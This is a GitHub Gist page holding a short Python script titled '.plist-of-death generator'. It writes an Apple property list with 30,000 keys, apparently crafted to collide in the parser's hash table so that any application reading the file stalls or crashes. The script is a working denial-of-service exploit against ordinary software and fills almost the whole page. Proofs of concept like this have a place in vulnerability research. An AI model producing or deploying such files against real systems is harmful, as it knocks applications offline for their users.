Created
January 6, 2013 17:08
-
-
Save dchest/4468694 to your computer and use it in GitHub Desktop.
.plist-of-death generator
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # .plist-of-death generator | |
| import base64 | |
| import os | |
| # Adjust this to your taste: | |
| NKEYS = 30000 | |
| def colliding_string(): | |
| return "a"*32 + base64.b64encode(os.urandom(10))[:14] + "a"*82 | |
| def item(n): | |
| return "<key>" + colliding_string() + "</key>\n\t<string>" + str(n) + "</string>\n" | |
| print("""<?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | |
| <plist version="1.0"> | |
| <dict>""") | |
| for n in range(NKEYS): | |
| print(item(n)) | |
| print(""" | |
| </dict> | |
| </plist> | |
| """) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment